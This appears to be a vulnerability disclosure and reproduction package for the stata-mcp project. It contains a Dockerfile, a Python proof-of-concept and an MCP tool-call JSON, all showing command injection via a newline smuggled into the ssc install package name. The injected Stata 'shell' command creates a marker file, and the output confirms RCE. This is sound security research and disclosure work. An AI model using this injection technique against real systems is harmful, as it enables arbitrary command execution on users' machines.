# src/stata mcp/stata/builtin tools/ado install/ssc install.py:14-16
def install(self, package: str) -> str:
  install command = f"ssc install {package}{self.REPLACE MESSAGE}"
  runner result = self.controller.run(install command)

# src/stata mcp/stata/stata controller/controller.py:98-99
# Send the command
self.child.sendline(command)

# Build (run from the repository root)
docker build -t stata-mcp-poc-001 
  -f vuln-001/Dockerfile 
  reports/pypiAi 828 SepineTam stata-mcp/

# Run
docker run --rm stata-mcp-poc-001

import os
from stata mcp.stata.builtin tools.ado install.ssc install import SSC Install

MARKER = "/tmp/stata mcp ado poc"
PAYLOAD = f"outreg2
shell touch {MARKER}
//"

installer = SSC Install("/usr/local/bin/stata", is replace=True, timeout=10)
installer.install(PAYLOAD)

assert os.path.exists(MARKER), "RCE not confirmed"
print("RCE CONFIRMED — marker file created")

ssc install outreg2
shell touch /tmp/stata mcp ado poc
//, replace

{
 "tool": "ado package install",
 "arguments": {
  "source": "ssc",
  "package": "outreg2
shell touch /tmp/stata mcp ado poc
//",
  "is replace": true
 }
}

[+] PASS - RCE CONFIRMED
[+] Marker file exists: /tmp/stata mcp ado poc
[+] The injected Stata 'shell' command was executed by the REPL.

Installation State: False
ssc install outreg2r
shell touch /tmp/stata mcp ado pocr
//, replace

# Dockerfile for VULN-001 dynamic reproduction
# Build context must be the parent directory:
#  docker build -t stata-mcp-poc-001 -f vuln-001/Dockerfile .
#
# Vulnerability: Stata Command Injection via unsanitized `package` in
#  SSC Install.install() (ssc install.py:15).
#
# Strategy: replace the real Stata binary with a minimal Python script
#  (fake stata.py) that honours the 'shell <cmd>' Stata command.
#  The vulnerable stata-mcp code is installed unmodified from the repo.

FROM python:3.11-slim

# Install pexpect -- the only runtime dependency required by the PoC
# (StataController imports pexpect; all other imports are stdlib-only).
RUN pip install --no-cache-dir pexpect==4.9.0

# ------------------------------------------------------------------
# Fake Stata binary
# ------------------------------------------------------------------
# Placed at /usr/local/bin/stata so StataFinder (Linux) can auto-discover
# it and the PoC can reference it by absolute path.
COPY vuln-001/fake stata.py /usr/local/bin/stata
RUN chmod +x /usr/local/bin/stata

# ------------------------------------------------------------------
# Vulnerable package (unmodified source)
# ------------------------------------------------------------------
COPY repo/src /workspace/src
ENV PYTHONPATH=/workspace/src

# ------------------------------------------------------------------
# PoC script
# ------------------------------------------------------------------
COPY vuln-001/poc.py /workspace/poc.py

WORKDIR /workspace
CMD ["python3", "/workspace/poc.py"]

#!/usr/bin/env python3
"""
PoC for VULN-001: Stata Command Injection via unsanitized `package` in
`ado package install` (SSC path).

Vulnerable code:
  ssc install.py:15
    install command = f"ssc install {package}{self.REPLACE MESSAGE}"
  controller.py:99
    self.child.sendline(command)

Attack: embed a newline in `package` to inject an additional Stata command.
  package = "outreg2
shell touch /tmp/stata mcp ado poc
//"

The constructed command string becomes:
  ssc install outreg2
  shell touch /tmp/stata mcp ado poc
  //, replace

pexpect delivers this multi-line string verbatim to the Stata REPL via
sendline(), causing Stata to execute 'shell touch /tmp/stata mcp ado poc',
which runs the OS command 'touch /tmp/stata mcp ado poc'.

Marker file creation confirms RCE.
"""
import os
import sys

FAKE STATA = "/usr/local/bin/stata"
MARKER FILE = "/tmp/stata mcp ado poc"
# Payload: legit package name, then injected shell command, then comment to
# neutralise the ", replace" suffix appended by REPLACE MESSAGE.
PAYLOAD = f"outreg2
shell touch {MARKER FILE}
//"


def main() -> int:
  print("=" * 60)
  print("VULN-001 PoC: Stata Command Injection via ado package install")
  print("=" * 60)
  print(f"[*] Fake Stata binary : {FAKE STATA}")
  print(f"[*] Marker file    : {MARKER FILE}")
  print(f"[*] Payload (repr)  : {PAYLOAD!r}")
  print()

  # Clean up any previous run.
  if os.path.exists(MARKER FILE):
    os.remove(MARKER FILE)
    print(f"[*] Removed pre-existing marker file.")

  # Import the vulnerable class directly -- no MCP or config layer needed.
  # The vulnerability lives entirely in SSC Install.install() and the
  # StataController that sends the command to the Stata REPL.
  from stata mcp.stata.builtin tools.ado install.ssc install import SSC Install

  print("[*] Instantiating SSC Install with fake Stata binary...")
  installer = SSC Install(FAKE STATA, is replace=True, timeout=10)

  print(f"[*] Calling install({PAYLOAD!r}) ...")
  try:
    result = installer.install(PAYLOAD)
    print(f"[*] install() returned: {result[:200]!r}")
  except Exception as exc:
    # A RuntimeError from StataController is acceptable; the shell command
    # may have already executed before the error is detected.
    print(f"[!] install() raised (may be expected): {type(exc). name }: {exc}")

  print()

  # --- Verdict ---
  if os.path.exists(MARKER FILE):
    print("[+] PASS - RCE CONFIRMED")
    print(f"[+] Marker file exists: {MARKER FILE}")
    print("[+] The injected Stata 'shell' command was executed by the REPL.")
    print("[+] Constructed command delivered via sendline():")
    print("[+]  ssc install outreg2")
    print(f"[+]  shell touch {MARKER FILE} <-- OS command executed here")
    print("[+]  //")
    return 0
  else:
    print("[-] FAIL - Marker file not found.")
    print("[-] The injected shell command did not produce the expected artefact.")
    return 1


if  name  == " main ":
  sys.exit(main())